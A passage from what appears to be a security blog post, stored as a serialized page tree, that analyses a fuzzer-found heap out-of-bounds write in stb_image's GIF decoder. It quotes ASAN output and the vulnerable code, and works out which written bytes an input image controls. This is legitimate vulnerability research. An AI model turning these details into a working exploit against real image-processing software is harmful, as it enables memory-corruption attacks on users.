",{"type":24,"tag":32,"props":147705,"children":147707},{"className":147706},[],[147708],{"type":29,"value":147709},"&g->out[idx]",{"type":29,"value":147711}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":24,"tag":25,"props":147713,"children":147714},{},[147715,147717,147722],{"type":29,"value":147716},"If we comment out ",{"type":24,"tag":32,"props":147718,"children":147720},{"className":147719},[],[147721],{"type":29,"value":147666},{"type":29,"value":147723}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":24,"tag":73,"props":147725,"children":147727},{"code":147726},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[147728],{"type":24,"tag":32,"props":147729,"children":147730},{"__ignoreMap":7},[147731],{"type":29,"value":147726},{"type":24,"tag":25,"props":147733,"children":147734},{},[147735],{"type":29,"value":147736},"This corresponds to:",{"type":24,"tag":73,"props":147738,"children":147740},{"code":147739,"language":2891,"meta":7,"className":16250,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[147741],{"type":24,"tag":32,"props":147742,"children":147743},{"__ignoreMap":7},[147744,147783,147790,147797,147804,147847,147878,147922,147929,147997,148037,148082,148121,148160,148199],{"type":24,"tag":83,"props":147745,"children":147746},{"class":85,"line":86},[147747,147751,147755,147759,147763,147767,147771,147775,147779],{"type":24,"tag":83,"props":147748,"children":147749},{"style":90},[147750],{"type":29,"value":50759},{"type":24,"tag":83,"props":147752,"children":147753},{"style":90},[147754],{"type":29,"value":50764},{"type":24,"tag":83,"props":147756,"children":147757},{"style":101},[147758],{"type":29,"value":147355},{"type":24,"tag":83,"props":147760,"children":147761},{"style":107},[147762],{"type":29,"value":147360},{"type":24,"tag":83,"props":147764,"children":147765},{"style":143},[147766],{"type":29,"value":4315},{"type":24,"tag":83,"props":147768,"children":147769},{"style":137},[147770],{"type":29,"value":108831},{"type":24,"tag":83,"props":147772,"children":147773},{"style":107},[147774],{"type":29,"value":147373},{"type":24,"tag":83,"props":147776,"children":147777},{"style":137},[147778],{"type":29,"value":32},{"type":24,"tag":83,"props":147780,"children":147781},{"style":107},[147782],{"type":29,"value":2905},{"type":24,"tag":83,"props":147784,"children":147785},{"class":85,"line":113},[147786],{"type":24,"tag":83,"props":147787,"children":147788},{"style":107},[147789],{"type":29,"value":10628},{"type":24,"tag":83,"props":147791,"children":147792},{"class":85,"line":128},[147793],{"type":24,"tag":83,"props":147794,"children":147795},{"style":107},[147796],{"type":29,"value":147442},{"type":24,"tag":83,"props":147798,"children":147799},{"class":85,"line":183},[147800],{"type":24,"tag":83,"props":147801,"children":147802},{"emptyLinePlaceholder":16},[147803],{"type":29,"value":3422},{"type":24,"tag":83,"props":147805,"children":147806},{"class":85,"line":203},[147807,147811,147815,147819,147823,147827,147831,147835,147839,147843],{"type":24,"tag":83,"props":147808,"children":147809},{"style":107},[147810],{"type":29,"value":147518},{"type":24,"tag":83,"props":147812,"children":147813},{"style":143},[147814],{"type":29,"value":1275},{"type":24,"tag":83,"props":147816,"children":147817},{"style":137},[147818],{"type":29,"value":147482},{"type":24,"tag":83,"props":147820,"children":147821},{"style":107},[147822],{"type":29,"value":13502},{"type":24,"tag":83,"props":147824,"children":147825},{"style":137},[147826],{"type":29,"value":147535},{"type":24,"tag":83,"props":147828,"children":147829},{"style":143},[147830],{"type":29,"value":8649},{"type":24,"tag":83,"props":147832,"children":147833},{"style":137},[147834],{"type":29,"value":147482},{"type":24,"tag":83,"props":147836,"children":147837},{"style":107},[147838],{"type":29,"value":13502},{"type":24,"tag":83,"props":147840,"children":147841},{"style":137},[147842],{"type":29,"value":147473},{"type":24,"tag":83,"props":147844,"children":147845},{"style":107},[147846],{"type":29,"value":147556},{"type":24,"tag":83,"props":147848,"children":147849},{"class":85,"line":212},[147850,147854,147858,147862,147866,147870,147874],{"type":24,"tag":83,"props":147851,"children":147852},{"style":107},[147853],{"type":29,"value":147564},{"type":24,"tag":83,"props":147855,"children":147856},{"style":143},[147857],{"type":29,"value":1275},{"type":24,"tag":83,"props":147859,"children":147860},{"style":143},[147861],{"type":29,"value":6888},{"type":24,"tag":83,"props":147863,"children":147864},{"style":137},[147865],{"type":29,"value":108831},{"type":24,"tag":83,"props":147867,"children":147868},{"style":107},[147869],{"type":29,"value":13502},{"type":24,"tag":83,"props":147871,"children":147872},{"style":137},[147873],{"type":29,"value":118254},{"type":24,"tag":83,"props":147875,"children":147876},{"style":107},[147877],{"type":29,"value":147589},{"type":24,"tag":83,"props":147879,"children":147880},{"class":85,"line":256},[147881,147885,147889,147893,147897,147901,147905,147909,147913,147917],{"type":24,"tag":83,"props":147882,"children":147883},{"style":137},[147884],{"type":29,"value":147597},{"type":24,"tag":83,"props":147886,"children":147887},{"style":107},[147888],{"type":29,"value":13502},{"type":24,"tag":83,"props":147890,"children":147891},{"style":137},[147892],{"type":29,"value":147606},{"type":24,"tag":83,"props":147894,"children":147895},{"style":107},[147896],{"type":29,"value":147611},{"type":24,"tag":83,"props":147898,"children":147899},{"style":143},[147900],{"type":29,"value":4325},{"type":24,"tag":83,"props":147902,"children":147903},{"style":245},[147904],{"type":29,"value":11493},{"type":24,"tag":83,"props":147906,"children":147907},{"style":107},[147908],{"type":29,"value":1270},{"type":24,"tag":83,"props":147910,"children":147911},{"style":143},[147912],{"type":29,"value":1275},{"type":24,"tag":83,"props":147914,"children":147915},{"style":245},[147916],{"type":29,"value":295},{"type":24,"tag":83,"props":147918,"children":147919},{"style":107},[147920],{"type":29,"value":147921},";  \n",{"type":24,"tag":83,"props":147923,"children":147924},{"class":85,"line":270},[147925],{"type":24,"tag":83,"props":147926,"children":147927},{"emptyLinePlaceholder":16},[147928],{"type":29,"value":3422},{"type":24,"tag":83,"props":147930,"children":147931},{"class":85,"line":302},[147932,147937,147941,147945,147949,147953,147958,147962,147966,147970,147975,147980,147985,147989,147993],{"type":24,"tag":83,"props":147933,"children":147934},{"style":107},[147935],{"type":29,"value":147936},"   c ",{"type":24,"tag":83,"props":147938,"children":147939},{"style":143},[147940],{"type":29,"value":1275},{"type":24,"tag":83,"props":147942,"children":147943},{"style":143},[147944],{"type":29,"value":6888},{"type":24,"tag":83,"props":147946,"children":147947},{"style":137},[147948],{"type":29,"value":108831},{"type":24,"tag":83,"props":147950,"children":147951},{"style":107},[147952],{"type":29,"value":13502},{"type":24,"tag":83,"props":147954,"children":147955},{"style":137},[147956],{"type":29,"value":147957},"color_table",{"type":24,"tag":83,"props":147959,"children":147960},{"style":107},[147961],{"type":29,"value":1161},{"type":24,"tag":83,"props":147963,"children":147964},{"style":137},[147965],{"type":29,"value":108831},{"type":24,"tag":83,"props":147967,"children":147968},{"style":107},[147969],{"type":29,"value":13502},{"type":24,"tag":83,"props":147971,"children":147972},{"style":137},[147973],{"type":29,"value":147974},"codes",{"type":24,"tag":83,"props":147976,"children":147977},{"style":107},[147978],{"type":29,"value":147979},"[code].",{"type":24,"tag":83,"props":147981,"children":147982},{"style":137},[147983],{"type":29,"value":147984},"suffix",{"type":24,"tag":83,"props":147986,"children":147987},{"style":143},[147988],{"type":29,"value":9563},{"type":24,"tag":83,"props":147990,"children":147991},{"style":245},[147992],{"type":29,"value":11493},{"type":24,"tag":83,"props":147994,"children":147995},{"style":107},[147996],{"type":29,"value":1515},{"type":24,"tag":83,"props":147998,"children":147999},{"class":85,"line":324},[148000,148004,148008,148012,148016,148020,148024,148028,148033],{"type":24,"tag":83,"props":148001,"children":148002},{"style":117},[148003],{"type":29,"value":52358},{"type":24,"tag":83,"props":148005,"children":148006},{"style":107},[148007],{"type":29,"value":223},{"type":24,"tag":83,"props":148009,"children":148010},{"style":137},[148011],{"type":29,"value":2891},{"type":24,"tag":83,"props":148013,"children":148014},{"style":107},[148015],{"type":29,"value":1161},{"type":24,"tag":83,"props":148017,"children":148018},{"style":245},[148019],{"type":29,"value":17032},{"type":24,"tag":83,"props":148021,"children":148022},{"style":107},[148023],{"type":29,"value":1270},{"type":24,"tag":83,"props":148025,"children":148026},{"style":143},[148027],{"type":29,"value":10209},{"type":24,"tag":83,"props":148029,"children":148030},{"style":245},[148031],{"type":29,"value":148032}," 128",{"type":24,"tag":83,"props":148034,"children":148035},{"style":107},[148036],{"type":29,"value":253},{"type":24,"tag":83,"props":148038,"children":148039},{"class":85,"line":345},[148040,148045,148049,148053,148057,148061,148065,148069,148073,148077],{"type":24,"tag":83,"props":148041,"children":148042},{"style":137},[148043],{"type":29,"value":148044},"      p",{"type":24,"tag":83,"props":148046,"children":148047},{"style":107},[148048],{"type":29,"value":1161},{"type":24,"tag":83,"props":148050,"children":148051},{"style":245},[148052],{"type":29,"value":1166},{"type":24,"tag":83,"props":148054,"children":148055},{"style":107},[148056],{"type":29,"value":1270},{"type":24,"tag":83,"props":148058,"children":148059},{"style":143},[148060],{"type":29,"value":1275},{"type":24,"tag":83,"props":148062,"children":148063},{"style":137},[148064],{"type":29,"value":37169},{"type":24,"tag":83,"props":148066,"children":148067},{"style":107},[148068],{"type":29,"value":1161},{"type":24,"tag":83,"props":148070,"children":148071},{"style":245},[148072],{"type":29,"value":2867},{"type":24,"tag":83,"props":148074,"children":148075},{"style":107},[148076],{"type":29,"value":55625},{"type":24,"tag":83,"props":148078,"children":148079},{"style":2735},[148080],{"type":29,"value":148081},"        // OOB write\n",{"type":24,"tag":83,"props":148083,"children":148084},{"class":85,"line":358},[148085,148089,148093,148097,148101,148105,148109,148113,148117],{"type":24,"tag":83,"props":148086,"children":148087},{"style":137},[148088],{"type":29,"value":148044},{"type":24,"tag":83,"props":148090,"children":148091},{"style":107},[148092],{"type":29,"value":1161},{"type":24,"tag":83,"props":148094,"children":148095},{"style":245},[148096],{"type":29,"value":3756},{"type":24,"tag":83,"props":148098,"children":148099},{"style":107},[148100],{"type":29,"value":1270},{"type":24,"tag":83,"props":148102,"children":148103},{"style":143},[148104],{"type":29,"value":1275},{"type":24,"tag":83,"props":148106,"children":148107},{"style":137},[148108],{"type":29,"value":37169},{"type":24,"tag":83,"props":148110,"children":148111},{"style":107},[148112],{"type":29,"value":1161},{"type":24,"tag":83,"props":148114,"children":148115},{"style":245},[148116],{"type":29,"value":3756},{"type":24,"tag":83,"props":148118,"children":148119},{"style":107},[148120],{"type":29,"value":1515},{"type":24,"tag":83,"props":148122,"children":148123},{"class":85,"line":367},[148124,148128,148132,148136,148140,148144,148148,148152,148156],{"type":24,"tag":83,"props":148125,"children":148126},{"style":137},[148127],{"type":29,"value":148044},{"type":24,"tag":83,"props":148129,"children":148130},{"style":107},[148131],{"type":29,"value":1161},{"type":24,"tag":83,"props":148133,"children":148134},{"style":245},[148135],{"type":29,"value":2867},{"type":24,"tag":83,"props":148137,"children":148138},{"style":107},[148139],{"type":29,"value":1270},{"type":24,"tag":83,"props":148141,"children":148142},{"style":143},[148143],{"type":29,"value":1275},{"type":24,"tag":83,"props":148145,"children":148146},{"style":137},[148147],{"type":29,"value":37169},{"type":24,"tag":83,"props":148149,"children":148150},{"style":107},[148151],{"type":29,"value":1161},{"type":24,"tag":83,"props":148153,"children":148154},{"style":245},[148155],{"type":29,"value":1166},{"type":24,"tag":83,"props":148157,"children":148158},{"style":107},[148159],{"type":29,"value":1515},{"type":24,"tag":83,"props":148161,"children":148162},{"class":85,"line":406},[148163,148167,148171,148175,148179,148183,148187,148191,148195],{"type":24,"tag":83,"props":148164,"children":148165},{"style":137},[148166],{"type":29,"value":148044},{"type":24,"tag":83,"props":148168,"children":148169},{"style":107},[148170],{"type":29,"value":1161},{"type":24,"tag":83,"props":148172,"children":148173},{"style":245},[148174],{"type":29,"value":17032},{"type":24,"tag":83,"props":148176,"children":148177},{"style":107},[148178],{"type":29,"value":1270},{"type":24,"tag":83,"props":148180,"children":148181},{"style":143},[148182],{"type":29,"value":1275},{"type":24,"tag":83,"props":148184,"children":148185},{"style":137},[148186],{"type":29,"value":37169},{"type":24,"tag":83,"props":148188,"children":148189},{"style":107},[148190],{"type":29,"value":1161},{"type":24,"tag":83,"props":148192,"children":148193},{"style":245},[148194],{"type":29,"value":17032},{"type":24,"tag":83,"props":148196,"children":148197},{"style":107},[148198],{"type":29,"value":1515},{"type":24,"tag":83,"props":148200,"children":148201},{"class":85,"line":427},[148202],{"type":24,"tag":83,"props":148203,"children":148204},{"style":107},[148205],{"type":29,"value":34485},{"type":24,"tag":25,"props":148207,"children":148208},{},[148209,148211,148216,148218,148223],{"type":29,"value":148210},"This confirms ",{"type":24,"tag":32,"props":148212,"children":148214},{"className":148213},[],[148215],{"type":29,"value":76232},{"type":29,"value":148217}," is OOB for ",{"type":24,"tag":32,"props":148219,"children":148221},{"className":148220},[],[148222],{"type":29,"value":147701},{"type":29,"value":148224}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":24,"tag":25,"props":148226,"children":148227},{},[148228,148230,148236,148238,148245],{"type":29,"value":148229},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":24,"tag":32,"props":148231,"children":148233},{"className":148232},[],[148234],{"type":29,"value":148235},"g->color_table",{"type":29,"value":148237}," is populated by ",{"type":24,"tag":2033,"props":148239,"children":148242},{"href":148240,"rel":148241},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[2037],[148243],{"type":29,"value":148244},"stbi__gif_parse_colortable",{"type":29,"value":195},{"type":24,"tag":73,"props":148247,"children":148249},{"code":148248,"language":2891,"meta":7,"className":16250,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[148250],{"type":24,"tag":32,"props":148251,"children":148252},{"__ignoreMap":7},[148253,148273,148293,148332,148348,148360,148367,148378,148421,148455,148486,148517,148574,148581],{"type":24,"tag":83,"props":148254,"children":148255},{"class":85,"line":86},[148256,148260,148264,148269],{"type":24,"tag":83,"props":148257,"children":148258},{"style":90},[148259],{"type":29,"value":50759},{"type":24,"tag":83,"props":148261,"children":148262},{"style":90},[148263],{"type":29,"value":50764},{"type":24,"tag":83,"props":148265,"children":148266},{"style":101},[148267],{"type":29,"value":148268}," stbi__gif_parse_colortable",{"type":24,"tag":83,"props":148270,"children":148271},{"style":107},[148272],{"type":29,"value":3208},{"type":24,"tag":83,"props":148274,"children":148275},{"class":85,"line":113},[148276,148281,148285,148289],{"type":24,"tag":83,"props":148277,"children":148278},{"style":107},[148279],{"type":29,"value":148280},"    stbi__context ",{"type":24,"tag":83,"props":148282,"children":148283},{"style":143},[148284],{"type":29,"value":4315},{"type":24,"tag":83,"props":148286,"children":148287},{"style":137},[148288],{"type":29,"value":10399},{"type":24,"tag":83,"props":148290,"children":148291},{"style":107},[148292],{"type":29,"value":989},{"type":24,"tag":83,"props":148294,"children":148295},{"class":85,"line":128},[148296,148301,148306,148310,148314,148318,148322,148327],{"type":24,"tag":83,"props":148297,"children":148298},{"style":107},[148299],{"type":29,"value":148300},"    stbi_uc ",{"type":24,"tag":83,"props":148302,"children":148303},{"style":137},[148304],{"type":29,"value":148305},"pal",{"type":24,"tag":83,"props":148307,"children":148308},{"style":107},[148309],{"type":29,"value":1161},{"type":24,"tag":83,"props":148311,"children":148312},{"style":245},[148313],{"type":29,"value":93008},{"type":24,"tag":83,"props":148315,"children":148316},{"style":107},[148317],{"type":29,"value":48674},{"type":24,"tag":83,"props":148319,"children":148320},{"style":245},[148321],{"type":29,"value":17265},{"type":24,"tag":83,"props":148323,"children":148324},{"style":107},[148325],{"type":29,"value":148326},"],",{"type":24,"tag":83,"props":148328,"children":148329},{"style":2735},[148330],{"type":29,"value":148331},"    // g->color_table\n",{"type":24,"tag":83,"props":148333,"children":148334},{"class":85,"line":183},[148335,148339,148344],{"type":24,"tag":83,"props":148336,"children":148337},{"style":90},[148338],{"type":29,"value":18816},{"type":24,"tag":83,"props":148340,"children":148341},{"style":137},[148342],{"type":29,"value":148343}," num_entries",{"type":24,"tag":83,"props":148345,"children":148346},{"style":107},[148347],{"type":29,"value":989},{"type":24,"tag":83,"props":148349,"children":148350},{"class":85,"line":203},[148351,148355],{"type":24,"tag":83,"props":148352,"children":148353},{"style":90},[148354],{"type":29,"value":18816},{"type":24,"tag":83,"props":148356,"children":148357},{"style":107},[148358],{"type":29,"value":148359}," transp\n",{"type":24,"tag":83,"props":148361,"children":148362},{"class":85,"line":212},[148363],{"type":24,"tag":83,"props":148364,"children":148365},{"style":107},[148366],{"type":29,"value":253},{"type":24,"tag":83,"props":148368,"children":148369},{"class":85,"line":256},[148370,148374],{"type":24,"tag":83,"props":148371,"children":148372},{"style":90},[148373],{"type":29,"value":147422},{"type":24,"tag":83,"props":148375,"children":148376},{"style":107},[148377],{"type":29,"value":57678},{"type":24,"tag":83,"props":148379,"children":148380},{"class":85,"line":270},[148381,148386,148391,148395,148399,148403,148407,148412,148416],{"type":24,"tag":83,"props":148382,"children":148383},{"style":117},[148384],{"type":29,"value":148385},"   for",{"type":24,"tag":83,"props":148387,"children":148388},{"style":107},[148389],{"type":29,"value":148390}," (i",{"type":24,"tag":83,"props":148392,"children":148393},{"style":143},[148394],{"type":29,"value":1275},{"type":24,"tag":83,"props":148396,"children":148397},{"style":245},[148398],{"type":29,"value":1166},{"type":24,"tag":83,"props":148400,"children":148401},{"style":107},[148402],{"type":29,"value":50948},{"type":24,"tag":83,"props":148404,"children":148405},{"style":143},[148406],{"type":29,"value":5552},{"type":24,"tag":83,"props":148408,"children":148409},{"style":107},[148410],{"type":29,"value":148411}," num_entries; ",{"type":24,"tag":83,"props":148413,"children":148414},{"style":143},[148415],{"type":29,"value":50984},{"type":24,"tag":83,"props":148417,"children":148418},{"style":107},[148419],{"type":29,"value":148420},"i) {\n",{"type":24,"tag":83,"props":148422,"children":148423},{"class":85,"line":302},[148424,148429,148433,148437,148441,148445,148450],{"type":24,"tag":83,"props":148425,"children":148426},{"style":137},[148427],{"type":29,"value":148428},"      pal",{"type":24,"tag":83,"props":148430,"children":148431},{"style":107},[148432],{"type":29,"value":60369},{"type":24,"tag":83,"props":148434,"children":148435},{"style":245},[148436],{"type":29,"value":2867},{"type":24,"tag":83,"props":148438,"children":148439},{"style":107},[148440],{"type":29,"value":1270},{"type":24,"tag":83,"props":148442,"children":148443},{"style":143},[148444],{"type":29,"value":1275},{"type":24,"tag":83,"props":148446,"children":148447},{"style":101},[148448],{"type":29,"value":148449}," stbi__get8",{"type":24,"tag":83,"props":148451,"children":148452},{"style":107},[148453],{"type":29,"value":148454},"(s);\n",{"type":24,"tag":83,"props":148456,"children":148457},{"class":85,"line":324},[148458,148462,148466,148470,148474,148478,148482],{"type":24,"tag":83,"props":148459,"children":148460},{"style":137},[148461],{"type":29,"value":148428},{"type":24,"tag":83,"props":148463,"children":148464},{"style":107},[148465],{"type":29,"value":60369},{"type":24,"tag":83,"props":148467,"children":148468},{"style":245},[148469],{"type":29,"value":3756},{"type":24,"tag":83,"props":148471,"children":148472},{"style":107},[148473],{"type":29,"value":1270},{"type":24,"tag":83,"props":148475,"children":148476},{"style":143},[148477],{"type":29,"value":1275},{"type":24,"tag":83,"props":148479,"children":148480},{"style":101},[148481],{"type":29,"value":148449},{"type":24,"tag":83,"props":148483,"children":148484},{"style":107},[148485],{"type":29,"value":148454},{"type":24,"tag":83,"props":148487,"children":148488},{"class":85,"line":345},[148489,148493,148497,148501,148505,148509,148513],{"type":24,"tag":83,"props":148490,"children":148491},{"style":137},[148492],{"type":29,"value":148428},{"type":24,"tag":83,"props":148494,"children":148495},{"style":107},[148496],{"type":29,"value":60369},{"type":24,"tag":83,"props":148498,"children":148499},{"style":245},[148500],{"type":29,"value":1166},{"type":24,"tag":83,"props":148502,"children":148503},{"style":107},[148504],{"type":29,"value":1270},{"type":24,"tag":83,"props":148506,"children":148507},{"style":143},[148508],{"type":29,"value":1275},{"type":24,"tag":83,"props":148510,"children":148511},{"style":101},[148512],{"type":29,"value":148449},{"type":24,"tag":83,"props":148514,"children":148515},{"style":107},[148516],{"type":29,"value":148454},{"type":24,"tag":83,"props":148518,"children":148519},{"class":85,"line":358},[148520,148524,148528,148532,148536,148540,148545,148549,148553,148557,148561,148565,148570],{"type":24,"tag":83,"props":148521,"children":148522},{"style":137},[148523],{"type":29,"value":148428},{"type":24,"tag":83,"props":148525,"children":148526},{"style":107},[148527],{"type":29,"value":60369},{"type":24,"tag":83,"props":148529,"children":148530},{"style":245},[148531],{"type":29,"value":17032},{"type":24,"tag":83,"props":148533,"children":148534},{"style":107},[148535],{"type":29,"value":1270},{"type":24,"tag":83,"props":148537,"children":148538},{"style":143},[148539],{"type":29,"value":1275},{"type":24,"tag":83,"props":148541,"children":148542},{"style":107},[148543],{"type":29,"value":148544}," transp ",{"type":24,"tag":83,"props":148546,"children":148547},{"style":143},[148548],{"type":29,"value":8320},{"type":24,"tag":83,"props":148550,"children":148551},{"style":107},[148552],{"type":29,"value":54257},{"type":24,"tag":83,"props":148554,"children":148555},{"style":143},[148556],{"type":29,"value":2900},{"type":24,"tag":83,"props":148558,"children":148559},{"style":245},[148560],{"type":29,"value":248},{"type":24,"tag":83,"props":148562,"children":148563},{"style":143},[148564],{"type":29,"value":896},{"type":24,"tag":83,"props":148566,"children":148567},{"style":245},[148568],{"type":29,"value":148569}," 255",{"type":24,"tag":83,"props":148571,"children":148572},{"style":107},[148573],{"type":29,"value":321},{"type":24,"tag":83,"props":148575,"children":148576},{"class":85,"line":367},[148577],{"type":24,"tag":83,"props":148578,"children":148579},{"style":107},[148580],{"type":29,"value":34485},{"type":24,"tag":83,"props":148582,"children":148583},{"class":85,"line":406},[148584],{"type":24,"tag":83,"props":148585,"children":148586},{"style":107},[148587],{"type":29,"value":464},{"type":24,"tag":25,"props":148589,"children":148590},{},[148591,148593,148598,148599,148604,148606,148611],{"type":29,"value":148592},"The first three bytes are read from the input image, while the last byte can be either ",{"type":24,"tag":32,"props":148594,"children":148596},{"className":148595},[],[148597],{"type":29,"value":1166},{"type":29,"value":12879},{"type":24,"tag":32,"props":148600,"children":148602},{"className":148601},[],[148603],{"type":29,"value":112876},{"type":29,"value":148605},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":24,"tag":32,"props":148607,"children":148609},{"className":148608},[],[148610],{"type":29,"value":29599},{"type":29,"value":195},{"type":24,"tag":73,"props":148613,"children":148615},{"code":148614,"language":2891,"meta":7,"className":16250,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[148616],{"type":24,"tag":32,"props":148617,"children":148618},{"__ignoreMap":7},[148619,148682,148721,148760,148799,148838,148877],{"type":24,"tag":83,"props":148620,"children":148621},{"class":85,"line":86},[148622,148626,148630,148634,148638,148642,148646,148650,148654,148658,148662,148666,148670,148674,148678],{"type":24,"tag":83,"props":148623,"children":148624},{"style":107},[148625],{"type":29,"value":147936},{"type":24,"tag":83,"props":148627,"children":148628},{"style":143},[148629],{"type":29,"value":1275},{"type":24,"tag":83,"props":148631,"children":148632},{"style":143},[148633],{"type":29,"value":6888},{"type":24,"tag":83,"props":148635,"children":148636},{"style":107},[148637],{"type":29,"value":108831},{"type":24,"tag":83,"props":148639,"children":148640},{"style":143},[148641],{"type":29,"value":13502},{"type":24,"tag":83,"props":148643,"children":148644},{"style":137},[148645],{"type":29,"value":147957},{"type":24,"tag":83,"props":148647,"children":148648},{"style":107},[148649],{"type":29,"value":1161},{"type":24,"tag":83,"props":148651,"children":148652},{"style":137},[148653],{"type":29,"value":108831},{"type":24,"tag":83,"props":148655,"children":148656},{"style":107},[148657],{"type":29,"value":13502},{"type":24,"tag":83,"props":148659,"children":148660},{"style":137},[148661],{"type":29,"value":147974},{"type":24,"tag":83,"props":148663,"children":148664},{"style":107},[148665],{"type":29,"value":147979},{"type":24,"tag":83,"props":148667,"children":148668},{"style":137},[148669],{"type":29,"value":147984},{"type":24,"tag":83,"props":148671,"children":148672},{"style":143},[148673],{"type":29,"value":9563},{"type":24,"tag":83,"props":148675,"children":148676},{"style":245},[148677],{"type":29,"value":11493},{"type":24,"tag":83,"props":148679,"children":148680},{"style":107},[148681],{"type":29,"value":1515},{"type":24,"tag":83,"props":148683,"children":148684},{"class":85,"line":113},[148685,148689,148693,148697,148701,148705,148709,148713,148717],{"type":24,"tag":83,"props":148686,"children":148687},{"style":117},[148688],{"type":29,"value":52358},{"type":24,"tag":83,"props":148690,"children":148691},{"style":107},[148692],{"type":29,"value":223},{"type":24,"tag":83,"props":148694,"children":148695},{"style":137},[148696],{"type":29,"value":2891},{"type":24,"tag":83,"props":148698,"children":148699},{"style":107},[148700],{"type":29,"value":1161},{"type":24,"tag":83,"props":148702,"children":148703},{"style":245},[148704],{"type":29,"value":17032},{"type":24,"tag":83,"props":148706,"children":148707},{"style":107},[148708],{"type":29,"value":1270},{"type":24,"tag":83,"props":148710,"children":148711},{"style":143},[148712],{"type":29,"value":10209},{"type":24,"tag":83,"props":148714,"children":148715},{"style":245},[148716],{"type":29,"value":148032},{"type":24,"tag":83,"props":148718,"children":148719},{"style":107},[148720],{"type":29,"value":253},{"type":24,"tag":83,"props":148722,"children":148723},{"class":85,"line":128},[148724,148728,148732,148736,148740,148744,148748,148752,148756],{"type":24,"tag":83,"props":148725,"children":148726},{"style":137},[148727],{"type":29,"value":148044},{"type":24,"tag":83,"props":148729,"children":148730},{"style":107},[148731],{"type":29,"value":1161},{"type":24,"tag":83,"props":148733,"children":148734},{"style":245},[148735],{"type":29,"value":1166},{"type":24,"tag":83,"props":148737,"children":148738},{"style":107},[148739],{"type":29,"value":1270},{"type":24,"tag":83,"props":148741,"children":148742},{"style":143},[148743],{"type":29,"value":1275},{"type":24,"tag":83,"props":148745,"children":148746},{"style":137},[148747],{"type":29,"value":37169},{"type":24,"tag":83,"props":148749,"children":148750},{"style":107},[148751],{"type":29,"value":1161},{"type":24,"tag":83,"props":148753,"children":148754},{"style":245},[148755],{"type":29,"value":2867},{"type":24,"tag":83,"props":148757,"children":148758},{"style":107},[148759],{"type":29,"value":1515},{"type":24,"tag":83,"props":148761,"children":148762},{"class":85,"line":183},[148763,148767,148771,148775,148779,148783,148787,148791,148795],{"type":24,"tag":83,"props":148764,"children":148765},{"style":137},[148766],{"type":29,"value":148044},{"type":24,"tag":83,"props":148768,"children":148769},{"style":107},[148770],{"type":29,"value":1161},{"type":24,"tag":83,"props":148772,"children":148773},{"style":245},[148774],{"type":29,"value":3756},{"type":24,"tag":83,"props":148776,"children":148777},{"style":107},[148778],{"type":29,"value":1270},{"type":24,"tag":83,"props":148780,"children":148781},{"style":143},[148782],{"type":29,"value":1275},{"type":24,"tag":83,"props":148784,"children":148785},{"style":137},[148786],{"type":29,"value":37169},{"type":24,"tag":83,"props":148788,"children":148789},{"style":107},[148790],{"type":29,"value":1161},{"type":24,"tag":83,"props":148792,"children":148793},{"style":245},[148794],{"type":29,"value":3756},{"type":24,"tag":83,"props":148796,"children":148797},{"style":107},[148798],{"type":29,"value":1515},{"type":24,"tag":83,"props":148800,"children":148801},{"class":85,"line":203},[148802,148806,148810,148814,148818,148822,148826,148830,148834],{"type":24,"tag":83,"props":148803,"children":148804},{"style":137},[148805],{"type":29,"value":148044},{"type":24,"tag":83,"props":148807,"children":148808},{"style":107},[148809],{"type":29,"value":1161},{"type":24,"tag":83,"props":148811,"children":148812},{"style":245},[148813],{"type":29,"value":2867},{"type":24,"tag":83,"props":148815,"children":148816},{"style":107},[148817],{"type":29,"value":1270},{"type":24,"tag":83,"props":148819,"children":148820},{"style":143},[148821],{"type":29,"value":1275},{"type":24,"tag":83,"props":148823,"children":148824},{"style":137},[148825],{"type":29,"value":37169},{"type":24,"tag":83,"props":148827,"children":148828},{"style":107},[148829],{"type":29,"value":1161},{"type":24,"tag":83,"props":148831,"children":148832},{"style":245},[148833],{"type":29,"value":1166},{"type":24,"tag":83,"props":148835,"children":148836},{"style":107},[148837],{"type":29,"value":1515},{"type":24,"tag":83,"props":148839,"children":148840},{"class":85,"line":212},[148841,148845,148849,148853,148857,148861,148865,148869,148873],{"type":24,"tag":83,"props":148842,"children":148843},{"style":137},[148844],{"type":29,"value":148044},{"type":24,"tag":83,"props":148846,"children":148847},{"style":107},[148848],{"type":29,"value":1161},{"type":24,"tag":83,"props":148850,"children":148851},{"style":245},[148852],{"type":29,"value":17032},{"type":24,"tag":83,"props":148854,"children":148855},{"style":107},[148856],{"type":29,"value":1270},{"type":24,"tag":83,"props":148858,"children":148859},{"style":143},[148860],{"type":29,"value":1275},{"type":24,"tag":83,"props":148862,"children":148863},{"style":137},[148864],{"type":29,"value":37169},{"type":24,"tag":83,"props":148866,"children":148867},{"style":107},[148868],{"type":29,"value":1161},{"type":24,"tag":83,"props":148870,"children":148871},{"style":245},[148872],{"type":29,"value":17032},{"type":24,"tag":83,"props":148874,"children":148875},{"style":107},[148876],{"type":29,"value":1515},{"type":24,"tag":83,"